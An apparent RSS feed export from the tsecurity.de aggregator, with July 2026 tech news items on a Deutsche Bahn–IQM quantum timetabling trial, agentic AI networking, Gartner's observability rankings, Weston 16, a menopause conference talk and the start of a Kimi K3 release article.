<description><![CDATA[Die Bahn testet mit IQM das Erstellen optimaler Fahrpläne per Quantencomputer.
Deutsche Bahn AG/Dominic Dupont



In einer Kooperation haben die Deutsche Bahn und das Quantencomputing-Unternehmen IQM gezeigt, dass Quantencomputer bereits heute reale Probleme lösen können. Gemeinsam entwickelten d...]]></description>
<link>https://tsecurity.de/de/3681720/it-security-nachrichten/deutsche-bahn-und-iqm-erstellen-fahrplan-per-quantencomputer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681720/it-security-nachrichten/deutsche-bahn-und-iqm-erstellen-fahrplan-per-quantencomputer/</guid>
<pubDate>Mon, 20 Jul 2026 19:01:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/DB271126_16_9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="railway station" class="wp-image-4198835" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Die Bahn testet mit IQM das Erstellen optimaler Fahrpläne per Quantencomputer.</p>
</figcaption></figure><p class="imageCredit">Deutsche Bahn AG/Dominic Dupont</p></div>



<p class="wp-block-paragraph">In einer Kooperation haben die Deutsche Bahn und das Quantencomputing-Unternehmen <a href="https://www.computerwoche.de/article/3490081/erstes-quanten-rechenzentrum-in-munchen.html?utm=hybrid_search">IQM</a> gezeigt, dass Quantencomputer bereits heute reale Probleme lösen können. Gemeinsam entwickelten die Partner einen hybriden quanten-klassischen Algorithmus, um einen optimalen Fahrplan über fünf Städte hinweg zu erstellen.</p>



<p class="wp-block-paragraph">Letztlich also ein klassisches mathematisches Problem, das seit 1930 als <a href="https://www.computerwoche.de/article/2804574/programmierer-muessen-umlernen.html?utm=hybrid_search">Traveling Salesman Problem (TSP)</a> bekannt ist. Allerdings stellt die Modellierung und Berechnung des entsprechenden Graphen selbst für heutige Computer noch eine Herausforderung dar. Quantencomputer sollen dies in Zukunft besser können.</p>



<h2 class="wp-block-heading">Herausforderung perfekter Fahrplan</h2>



<p class="wp-block-paragraph">Dass dies keine graue Theorie ist, haben Bahn und IQM jetzt gezeigt. Zum Einsatz kam dabei der „<a href="https://iqm.tech/wp-content/uploads/2026/07/IQM-DB-RailwayOptimization-Whitepaper.pdf">Quantum Approximate Optimization Algorithm</a>“ (QAOA), der direkt auf der Hardware von IQM ausgeführt wurde. Dieser Algorithmus wurde mit realen Daten der Bahn gefüttert.</p>



<p class="wp-block-paragraph">Der verwendete Betriebsdatensatz bestand aus einem Fahrplan mit 190 Fahrten über fünf deutsche Städte hinweg. Dabei beginnt ein Zug an einem bestimmten Punkt, absolviert eine Reihe von Fahrten und muss am Ende wieder zu seinem Ausgangspunkt zurückkehren – ein geschlossener Zyklus (Umlauf). Dabei muss sichergestellt werden, dass jede einzelne geplante Fahrt im Fahrplan von genau einem dieser Zyklen abgedeckt wird.</p>



<h2 class="wp-block-heading">Der hybride Weg</h2>



<p class="wp-block-paragraph">Allerdings können die Züge nicht unendlich lange fahren. In der Praxis müssen sie alle 4.000 km zur Wartung – in diesem Fall nach Hamburg. Hierbei gilt es noch Leerkilometer zu vermeiden. Alleine in diesem Beispiel ergeben sich etwa 98.500 mögliche Zyklen, die zu bewerten sind. So gilt es Leerfahrten oder etwa Doppelfahrten zu vermeiden.  </p>



<p class="wp-block-paragraph">Da diese Menge zu groß für normale Computerprogramme ist, nutzt die Bahn moderne Hybrid-Algorithmen, die das Problem in kleinere, handhabbare Stücke zerlegen und Schritt für Schritt lösen. Auch der Quantencomputer übernahm nicht die gesamte Arbeit, sondern löste gezielt kleinere, hochkomplexe Teilprobleme innerhalb eines klassischen Rahmens, der das Gesamtproblem steuert.</p>



<h2 class="wp-block-heading">Kein Warten auf die Zukunft</h2>



<p class="wp-block-paragraph">Dabei unterstreichen die beiden Partner drei Ergebnisse:</p>



<ul class="wp-block-list">
<li><strong>Praxistauglichkeit heute:</strong></li>
</ul>



<p class="wp-block-paragraph">Der Ansatz funktioniert auf Hardware, die bereits jetzt verfügbar ist. Unternehmen müssen also nicht auf die Entwicklung perfekt fehlerfreier Quantensysteme warten, um erste Mehrwerte zu generieren.</p>



<ul class="wp-block-list">
<li><strong>Automatische Verbesserung:</strong></li>
</ul>



<p class="wp-block-paragraph">Das System ist so konzipiert, dass es sich mit der Weiterentwicklung der Quantenprozessoren automatisch verbessert, ohne dass der Algorithmus neu programmiert werden muss.</p>



<ul class="wp-block-list">
<li><strong>End-to-End-Lösung:</strong></li>
</ul>



<p class="wp-block-paragraph">Der gesamte Prozess – von der Problemstellung bis zum fertigen, praxistauglichen Fahrplan – wurde vollständig auf IQM-Hardware durchgeführt.</p>



<p class="wp-block-paragraph">Für Inés de Vega, Chief Scientist bei IQM, zeigt die Zusammenarbeit, dass Quantencomputer bereits heute in der Lage sind, groß angelegte, reale Optimierungsprobleme zu lösen. Auch Manfred Rieck, Leiter Quantentechnologie bei der Deutschen Bahn, zeigt sich optimistisch: „Quantencomputing ist gekommen, um zu bleiben“.</p>



<h2 class="wp-block-heading">Meilenstein für den EU-Quantensektor</h2>



<p class="wp-block-paragraph">Die jetzt gewonnenen Erkenntnisse gehen weit über die Schiene hinaus. Die Architektur des Algorithmus ist so allgemein gehalten, dass sie auch auf die Logistik, den Energiesektor oder die Fertigungsindustrie übertragen werden kann.</p>



<p class="wp-block-paragraph">Für IQM, das Unternehmen hat weltweit bislang 23 Quantencomputer verkauft, ist dieser Erfolg auch ein wichtiger wirtschaftlicher Beleg. So unterstreicht das Projekt die Stärke des <a href="https://www.computerwoche.de/article/4192126/wo-steht-deutschland-beim-quantencomputing-2.html?utm=hybrid_search">europäischen Quanten-Ökosystems</a>. Und zeigt last, but not least: Der <a href="https://www.computerwoche.de/article/3488086/quanten-supremacy-bereits-in-funf-jahren.html?utm=hybrid_search">Quantenvorteil</a> rückt in greifbare Nähe.</p>
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<title><![CDATA[Building the network for agentic AI: The foundation for autonomous enterprise operations]]></title>
<description><![CDATA[Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing ...]]></description>
<link>https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</guid>
<pubDate>Mon, 20 Jul 2026 12:03:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing actions across applications, workflows and business processes with minimal human intervention.</p>



<p class="wp-block-paragraph">As organizations move toward agentic frameworks that can independently resolve customer issues, optimize supply chains, manage infrastructure, coordinate workflows and even operate IT environments, one reality becomes clear: The network becomes the nervous system of the autonomous enterprise.</p>



<p class="wp-block-paragraph">The infrastructure requirements of agentic AI differ dramatically from those of traditional applications. These systems are highly distributed, continuously exchanging information, interacting with APIs, accessing multiple data sources and making decisions in real time. The performance, security, visibility and adaptability of the network will directly determine the effectiveness of AI agents. Organizations that view AI readiness solely as a compute or data challenge risk overlooking one of the most critical enablers of future success — the network itself.</p>



<h2 class="wp-block-heading">From AI-ready networks to autonomous networks</h2>



<p class="wp-block-paragraph">The long-term destination is the <a href="https://www.ericsson.com/en/ai/autonomous-networks">autonomous network</a>: A network capable of self-monitoring, self-optimizing, self-healing and self-securing through the use of AI and automation. However, autonomous networking will not emerge overnight. The investments enterprises make today to support agentic AI are the same foundational building blocks required for tomorrow’s autonomous operations.</p>



<p class="wp-block-paragraph">In many ways, agentic AI serves as both the driver and beneficiary of network transformation. AI agents require networks that can dynamically adapt to changing demands, while autonomous networks will increasingly rely on AI agents to manage and optimize themselves. The result is a reinforcing cycle where AI and networking evolve together.</p>



<h2 class="wp-block-heading">The core characteristics of the network of the future</h2>



<p class="wp-block-paragraph">One of the most critical requirements for AI-ready networks is real-time observability and telemetry. Agentic AI thrives on context, and AI agents must continuously gather information from users, applications, devices, clouds, security systems and operational platforms. Future-ready networks must provide end-to-end visibility across campus, branch, cloud and data center environments. High-fidelity telemetry streams, real-time performance monitoring, application-aware analytics, AI-aware analytics and unified operational visibility are essential. Without comprehensive visibility, AI agents operate with incomplete information, limiting their effectiveness and increasing operational risk.</p>



<p class="wp-block-paragraph">Another cornerstone is intent-based automation. Traditional networks are configured manually, often requiring administrators to define thousands of individual settings. In contrast, autonomous networks operate according to business intent. Enterprises increasingly need to define desired outcomes — such as maintaining application performance, optimizing user experience or automatically isolating compromised devices — rather than micromanaging configurations. The network continuously adjusts itself to achieve those objectives, providing the foundation upon which AI agents can make decisions safely and consistently.</p>



<p class="wp-block-paragraph">Agentic AI also introduces entirely new traffic patterns that require AI-optimized connectivity. Large language models, retrieval systems, vector databases, cloud AI services, edge inference platforms and multi-agent orchestration frameworks create significant east-west and cloud-bound traffic. Future networks must provide low-latency connectivity, high-capacity fabrics, dynamic traffic engineering, edge-to-cloud optimization and policies that identify and prioritize AI workloads. The organizations that can move data efficiently will gain a competitive advantage in AI execution speed and responsiveness.</p>



<p class="wp-block-paragraph">Security is another non-negotiable element. Agentic AI expands the enterprise attack surface because AI agents increasingly access sensitive systems, interact with APIs, consume proprietary data and execute actions across business environments. Future-ready networks must embed zero trust security into their architecture, with continuous identity verification, fine-grained access controls, microsegmentation, policy-driven authorization and continuous risk assessment. Security can no longer be bolted onto the network; it must be integral to its design and AI agents need to adhere to their own identity rules.</p>



<p class="wp-block-paragraph">Finally, distributed intelligence across edge and cloud environments is essential. Many AI use cases require decisions to occur close to the source of data. Manufacturing systems, healthcare environments, retail operations, transportation networks and smart facilities often cannot tolerate the latency associated with centralized processing. Future networks must support edge AI deployment, distributed processing architectures, local inference, hybrid cloud operations and intelligent workload placement. The ability to move intelligence closer to users, devices and operational environments will become increasingly important as agentic AI expands across the enterprise.</p>



<h2 class="wp-block-heading">Human expertise remains essential</h2>



<p class="wp-block-paragraph">Despite rapid advances in AI, the future will not eliminate the need for human expertise. In fact, it may increase its importance. One of the most significant misconceptions surrounding AI is that automation eliminates the need for skilled professionals. The reality is that autonomous systems require expert oversight, governance, validation and continuous optimization.</p>



<p class="wp-block-paragraph">As AI systems become more capable, enterprises will need professionals who understand network architecture, security policy, AI governance, operational risk management, data quality, regulatory compliance and human-in-the-loop decision frameworks. The challenge is compounded by the unprecedented pace of AI innovation. New models, architectures, orchestration frameworks, security concerns and governance requirements emerge almost monthly. Most enterprise IT teams cannot be expected to independently evaluate every development while simultaneously modernizing infrastructure and maintaining day-to-day operations.</p>



<p class="wp-block-paragraph">Organizations need access to experts who continuously track technology evolution, understand emerging best practices and can help translate innovation into practical deployment strategies. These experts provide not only implementation support but also ongoing operational guidance, helping enterprises maintain appropriate human oversight as AI capabilities expand. The future is not fully autonomous decision-making without people; it is intelligent automation operating under expert human governance.</p>



<h2 class="wp-block-heading">5 actions enterprises should take now</h2>



<p class="wp-block-paragraph">Organizations should be preparing for the autonomous future right now. The following investments deliver immediate value while laying the groundwork for long-term AI transformation:</p>



<ol start="1" class="wp-block-list">
<li><strong>Modernize network observability.</strong> Establish <a href="https://www.ibm.com/think/insights/ai-agent-observability">comprehensive visibility</a> across users, applications, devices, clouds and infrastructure. Rich telemetry and operational data will become the fuel that powers both Agentic AI and autonomous network operations.</li>



<li><strong>Build an automation-first operating model.</strong> Identify repetitive operational processes and begin automating them. Automation maturity is a prerequisite for autonomous networking and creates the operational foundation AI agents will eventually leverage.</li>



<li><strong>Adopt zero-trust principles across the enterprise.</strong> Implement identity-centric security controls, segmentation and continuous policy enforcement. As AI agents gain access to enterprise systems, <a href="https://www.forrester.com/zero-trust/">security architectures</a> must evolve to leverage the same identity controls.</li>



<li><strong>Design for edge-to-cloud AI workloads.</strong> Evaluate network architectures for latency, bandwidth and resiliency requirements associated with distributed AI. Future AI deployments will span data centers, public clouds, branch locations and edge environments.</li>



<li><strong>Invest in skills and strategic partnerships.</strong> Develop <a href="https://mitsloan.mit.edu/ideas-made-to-matter/artificial-intelligence-pays-when-businesses-go-all">internal expertise</a> while leveraging partners that possess deep networking, automation, security and AI knowledge. Human expertise remains one of the most important success factors in building AI-ready and autonomous infrastructures.</li>
</ol>



<h2 class="wp-block-heading">The road ahead</h2>



<p class="wp-block-paragraph">Agentic AI is poised to transform enterprise operations in much the same way cloud computing transformed infrastructure and the internet transformed business itself. But AI agents cannot operate effectively without a modern network foundation. The enterprises that succeed will recognize that AI readiness extends beyond models and data. It requires networks that are observable, automated, secure, intelligent and increasingly autonomous. The investments made today in AI-ready networking are not merely infrastructure upgrades — they are strategic building blocks toward the autonomous enterprise of the future, where AI agents and autonomous networks work together under human guidance to deliver unprecedented levels of agility, efficiency, and innovation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Intel Binary Optimization Tool: Optimierungs-Utility für Spiele]]></title>
<description><![CDATA[Sie zocken an Ihrem PC Spiele und hätten dabei gerne mehr Performance? Ein Utility von Intel besorgt Ihnen diese: das Intel Binary Optimization Tool – kurz iBOT.]]></description>
<link>https://tsecurity.de/de/3680359/it-nachrichten/intel-binary-optimization-tool-optimierungs-utility-fuer-spiele/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680359/it-nachrichten/intel-binary-optimization-tool-optimierungs-utility-fuer-spiele/</guid>
<pubDate>Mon, 20 Jul 2026 08:17:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sie zocken an Ihrem PC Spiele und hätten dabei gerne mehr Performance? Ein Utility von Intel besorgt Ihnen diese: das Intel Binary Optimization Tool – kurz iBOT.]]></content:encoded>
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<title><![CDATA[Menopause.exe:running_with_limited_resources "Hacking the Hormonal System Update" (emf2026)]]></title>
<description><![CDATA[Menopause is a hormone system update you didn’t ask for: no consent, no user manual, and no warning label. Once installed, it triggers a ripple effect across social, mental, physical, and work systems. Subtly rewriting routines and behaviors almost overnight. The system you once knew, which used ...]]></description>
<link>https://tsecurity.de/de/3679466/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679466/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 14:31:59 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Menopause is a hormone system update you didn’t ask for: no consent, no user manual, and no warning label. Once installed, it triggers a ripple effect across social, mental, physical, and work systems. Subtly rewriting routines and behaviors almost overnight. The system you once knew, which used to run seamlessly, now requires debugging, optimization, and at times a little creative patching.
Menopause affects over 1 billion individuals worldwide, yet it remains poorly understood. Despite its universal impact, it is shrouded in myths and a pervasive enforced silence, leaving many unprepared for the changes it brings. This presentation reframes menopause as a hormone system update, exploring how it can subtly, and sometimes dramatically alters life experiences. Viewed through the lens of anyone who has ever had to troubleshoot a stubborn, unpredictable system, this presentation examines how this important life transition and why understanding these changes matter for you and your community. 
My aim is to have an honest conversation about this topic that empowers you with self-advocacy.
Drawing on my own lived experience and as a certified menopause coach, this talk blends data, humor, and clear language to unpack what happens during menopause and why “just pushing through it” is not a viable workaround. I’ll highlight the latest stats, debug common myths, and reveal how menopause quietly affects your entire life.
We can’t roll back the update, but we can optimize the system.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/153-menopause-exe-running-with-limited-resources-hacking-the]]></content:encoded>
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<title><![CDATA[Menopause.exe:running_with_limited_resources "Hacking the Hormonal System Update" (emf2026)]]></title>
<description><![CDATA[Menopause is a hormone system update you didn’t ask for: no consent, no user manual, and no warning label. Once installed, it triggers a ripple effect across social, mental, physical, and work systems. Subtly rewriting routines and behaviors almost overnight. The system you once knew, which used ...]]></description>
<link>https://tsecurity.de/de/3679424/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679424/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 14:03:18 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Menopause is a hormone system update you didn’t ask for: no consent, no user manual, and no warning label. Once installed, it triggers a ripple effect across social, mental, physical, and work systems. Subtly rewriting routines and behaviors almost overnight. The system you once knew, which used to run seamlessly, now requires debugging, optimization, and at times a little creative patching.
Menopause affects over 1 billion individuals worldwide, yet it remains poorly understood. Despite its universal impact, it is shrouded in myths and a pervasive enforced silence, leaving many unprepared for the changes it brings. This presentation reframes menopause as a hormone system update, exploring how it can subtly, and sometimes dramatically alters life experiences. Viewed through the lens of anyone who has ever had to troubleshoot a stubborn, unpredictable system, this presentation examines how this important life transition and why understanding these changes matter for you and your community. 
My aim is to have an honest conversation about this topic that empowers you with self-advocacy.
Drawing on my own lived experience and as a certified menopause coach, this talk blends data, humor, and clear language to unpack what happens during menopause and why “just pushing through it” is not a viable workaround. I’ll highlight the latest stats, debug common myths, and reveal how menopause quietly affects your entire life.
We can’t roll back the update, but we can optimize the system.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/153-menopause-exe-running-with-limited-resources-hacking-the]]></content:encoded>
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<title><![CDATA[LeakWatch KW 29/2026: Microsofts Lückenflut erreicht Gaming, BIOS und Hardware-Firmware]]></title>
<description><![CDATA[Die 29. Kalenderwoche des Jahres 2026 steht weniger für einen einzelnen spektakulären Einbruch als für eine ungewöhnlich breite Ansammlung sicherheitsrelevanter Baustellen. Microsoft veröffentlichte am 14. Juli einen der umfangreichsten Patch-Days der vergangenen Jahre, darunter Korrekturen für z...]]></description>
<link>https://tsecurity.de/de/3678922/it-security-nachrichten/leakwatch-kw-292026-microsofts-lueckenflut-erreicht-gaming-bios-und-hardware-firmware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678922/it-security-nachrichten/leakwatch-kw-292026-microsofts-lueckenflut-erreicht-gaming-bios-und-hardware-firmware/</guid>
<pubDate>Sun, 19 Jul 2026 07:38:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die 29. Kalenderwoche des Jahres 2026 steht weniger für einen einzelnen spektakulären Einbruch als für eine ungewöhnlich breite Ansammlung sicherheitsrelevanter Baustellen. Microsoft veröffentlichte am 14. Juli einen der umfangreichsten Patch-Days der vergangenen Jahre, darunter Korrekturen für zwei bereits aktiv ausgenutzte Zero-Day-Lücken. Gleichzeitig betrifft ein Teil der geschlossenen Schwachstellen unmittelbar das Gaming-Umfeld, etwa Minecraft-Server, Age of […]]]></content:encoded>
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<title><![CDATA[AI workloads shake up observability market]]></title>
<description><![CDATA[Observability platforms are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.



Vendors are investing heavily in AI observability, autonomous investigati...]]></description>
<link>https://tsecurity.de/de/3676598/it-security-nachrichten/ai-workloads-shake-up-observability-market/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676598/it-security-nachrichten/ai-workloads-shake-up-observability-market/</guid>
<pubDate>Fri, 17 Jul 2026 18:28:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/972187/how-to-shop-for-network-observability-tools.html" target="_blank">Observability platforms</a> are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.</p>



<p class="wp-block-paragraph">Vendors are investing heavily in AI observability, autonomous investigations, cost optimization, and operational intelligence as they try to evolve their platforms into systems that help IT teams understand problems, identify root causes, and determine the best course of action, according to Gartner, which just published its latest <a href="https://www.gartner.com/en/documents/8114397" target="_blank" rel="noreferrer noopener">Magic Quadrant for Observability Platforms</a>.</p>



<p class="wp-block-paragraph">Gartner defines the observability category as technologies that help organizations understand and optimize the health, performance, and behavior of applications, infrastructure, services, AI agents, and user experiences by collecting and analyzing telemetry data, such as logs, metrics, events, and traces.</p>



<p class="wp-block-paragraph">There are 19 vendors that made the cut for Gartner’s new report. Its Leaders quadrant includes (alphabetically) Chronosphere, Coralogix, Datadog, Dynatrace, Elastic, Grafana Labs, IBM, and New Relic. The Challengers are Alibaba Cloud, Amazon Web Services, LogicMonitor, Microsoft, and Splunk. The two Visionaries are BMC Helix and Honeycomb. Those dubbed Niche Players are Apica, HPE, ScienceLogic, and SolarWinds. (For specific vendor strengths and cautions, check out the full Gartner report. Some vendors offer free versions of the report with registration.)</p>



<p class="wp-block-paragraph">Looking beyond quadrant placement, Gartner advises organizations to evaluate vendors based on their ability to deliver full-stack observability and their “roadmap credibility” in key areas such as AI observability, OpenTelemetry interoperability, and the ability to observe and govern AI agents.</p>



<h2 class="wp-block-heading">AI observability emerges as a key differentiator</h2>



<p class="wp-block-paragraph">Organizations are increasingly looking for visibility into AI workloads, including token consumption, model latency, response quality, hallucination rates, and other AI-specific performance metrics, according to the report. Gartner identifies <a href="https://www.networkworld.com/article/4047640/ai-networking-success-requires-deep-real-time-observability.html" target="_blank">AI observability</a> as an emerging requirement, driven by growing enterprise interest in large language models (LLMs), genAI applications, and agentic AI systems.</p>



<p class="wp-block-paragraph">The report recognizes a growing number of vendors introducing AI-focused monitoring, autonomous investigations, AI agents, and specialized observability capabilities designed to help organizations monitor and govern AI-powered applications and workflows. At the same time, Gartner clarifies that many claims surrounding autonomous operations remain ahead of reality. </p>



<p class="wp-block-paragraph">“The transition from generative AI assistants to autonomous agents is more complex than vendor marketing suggests,” the report states.</p>



<h2 class="wp-block-heading">Cost management becomes a top priority</h2>



<p class="wp-block-paragraph">While AI may dominate vendor messaging, Gartner states that telemetry cost management remains one of the top concerns for enterprise buyers.</p>



<p class="wp-block-paragraph">As organizations collect larger amounts of logs, traces, metrics, and events, observability spending is increasingly attracting attention from finance and procurement teams. Gartner notes that 5% of its clients now spend more than $10 million annually with a single observability provider.</p>



<p class="wp-block-paragraph">Gartner describes pipeline management as a strategic layer that is becoming central to observability deployments. Vendors that fail to address these cost concerns risk losing customers to vendor-agnostic alternatives focused on telemetry optimization. Organizations increasingly want platforms that can provide cost attribution, utilization insights, and financial metrics that help justify observability investments, according to Gartner.</p>



<p class="wp-block-paragraph">Gartner projects the observability market will reach $14.3 billion by 2028, driven increasingly by organizations’ need to manage growing telemetry volumes.</p>



<h2 class="wp-block-heading">OpenTelemetry is table stakes as consolidation continues</h2>



<p class="wp-block-paragraph">The growing impact of open standards is a major shift for observability, Gartner notes.</p>



<p class="wp-block-paragraph">The widespread adoption of <a href="https://www.networkworld.com/article/3621642/5-reasons-why-2025-will-be-the-year-of-opentelemetry.html" target="_blank">OpenTelemetry</a> and eBPF-based instrumentation has lowered barriers to switching observability providers and made telemetry collection increasingly commoditized, the research firm explains. Gartner says many enterprise buyers now consider OpenTelemetry support a baseline requirement rather than a differentiator.</p>



<p class="wp-block-paragraph">As a result, vendors are now trying to differentiate themselves through analytics, automation, AI capabilities, and user experience rather than proprietary data collection approaches. That shift is forcing vendors to demonstrate value beyond monitoring and visibility, as buyers seek platforms capable of accelerating troubleshooting, automating investigations, and improving operational outcomes, according to Gartner.</p>



<p class="wp-block-paragraph">Gartner says market consolidation continues to favor platform-oriented vendors that combine full-stack observability with integrated AI capabilities. Organizations are increasingly looking for unified platforms that can monitor applications, infrastructure, digital experiences, and AI workloads from a single environment.</p>



<h2 class="wp-block-heading">The rise of operational intelligence</h2>



<p class="wp-block-paragraph">As enterprises modernize applications and expand AI initiatives, organizations want platforms that can not only identify problems but also explain causes, prioritize actions, and potentially automate remediation. Vendors are expanding observability platforms with AI-driven analytics, automation, and governance capabilities that span applications, infrastructure, cloud services, and AI workloads.</p>



<p class="wp-block-paragraph">For enterprise buyers, the next phase of observability may be defined less by telemetry collection and more by how effectively vendors can transform data into intelligence, automation, and measurable business outcomes.</p>
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<title><![CDATA[Weston 16 released: better HDR/color management, DRM backend perf, and debugging tools]]></title>
<description><![CDATA[Weston 16.0 has landed, building on the HDR and color-management work from v15. Highlights:  HDR/color management: HDR mode can now actually be turned on (still experimental, no tone mapping yet). Parametric and ICC color profiles now interoperate, and the default sRGB profile switched from ICC t...]]></description>
<link>https://tsecurity.de/de/3674928/linux-tipps/weston-16-released-better-hdrcolor-management-drm-backend-perf-and-debugging-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674928/linux-tipps/weston-16-released-better-hdrcolor-management-drm-backend-perf-and-debugging-tools/</guid>
<pubDate>Fri, 17 Jul 2026 04:10:58 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Weston 16.0 has landed, building on the HDR and color-management work from v15. Highlights:</p> <ul> <li><strong>HDR/color management</strong>: HDR mode can now actually be turned on (still experimental, no tone mapping yet). Parametric and ICC color profiles now interoperate, and the default sRGB profile switched from ICC to parametric. The GL-renderer gained in-shader blending, and the DRM backend can now offload pre-blend color transformations to KMS on supported kernels.</li> <li><strong>Debugging</strong>: Perfetto tracing got expanded further, GL-renderer optimizations, buffer info, and input events (libinput → Wayland client) are all traceable now. Debug-scope logging is also faster, cutting overhead on lower-end CPUs.</li> <li><strong>DRM backend</strong>: New support for <code>BACKGROUND_COLOR</code> and <code>COLOR_FORMAT</code> DRM properties, underscan/overscan compensation for TVs, and a state-reuse optimization that skips redundant repaint work when nothing's changed on screen (good for CPU usage).</li> <li><strong>Other additions</strong>: Alpha modifier protocol support (cheaper fade/dim animations without re-rendering), writeback screenshot scaling, more DRM pixel formats for AFBC/YUV buffers, and Vulkan/GL renderer bug fixes.</li> <li><strong>Deprecations</strong>: The remoting/PipeWire plugins, screen-share module, and non-atomic modesetting are being phased out in favor of standalone backends and atomic modesetting (which itself is 8 years old at this point).</li> </ul> <p>Full writeup with links to the merge requests: <a href="https://www.collabora.com/news-and-blog/news-and-events/weston-16-hdr-ready-improved-debugging-and-drm-backend-features.html">https://www.collabora.com/news-and-blog/news-and-events/weston-16-hdr-ready-improved-debugging-and-drm-backend-features.html</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/mfilion"> /u/mfilion </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uybrab/weston_16_released_better_hdrcolor_management_drm/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uybrab/weston_16_released_better_hdrcolor_management_drm/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[China’s Moonshot AI releases Kimi K3, the largest open-source model ever, rivaling top U.S. systems]]></title>
<description><![CDATA[Moonshot AI, the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released Kimi K3 — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful pr...]]></description>
<link>https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</guid>
<pubDate>Thu, 16 Jul 2026 23:17:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.moonshot.ai/">Moonshot AI,</a> the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful proprietary systems from <a href="https://www.anthropic.com/">Anthropic</a> and <a href="https://openai.com/">OpenAI</a>.</p><p>The release, timed to land just ahead of the <a href="https://aiii.global/waic-2026/">2026 World Artificial Intelligence Conference</a> in Shanghai, is a dramatic escalation in the global AI arms race and a watershed moment for the open-source AI movement. It also marks a remarkable comeback for a company whose market position had eroded significantly over the past 18 months following DeepSeek's meteoric rise.</p><p>Full model weights are scheduled to be released on July 27, according to details shared by researchers who reviewed the company's technical documentation. If you want to take <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> for a spin right now, you can — just head to<a href="https://www.kimi.com/"> kimi.com</a>, sign up with a Google account or phone number (no credit card required), and start chatting with what may be the most powerful open-source model ever built.</p><div></div><h2><b>Inside the architecture that powers the world's largest open-source AI model</b></h2><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is a 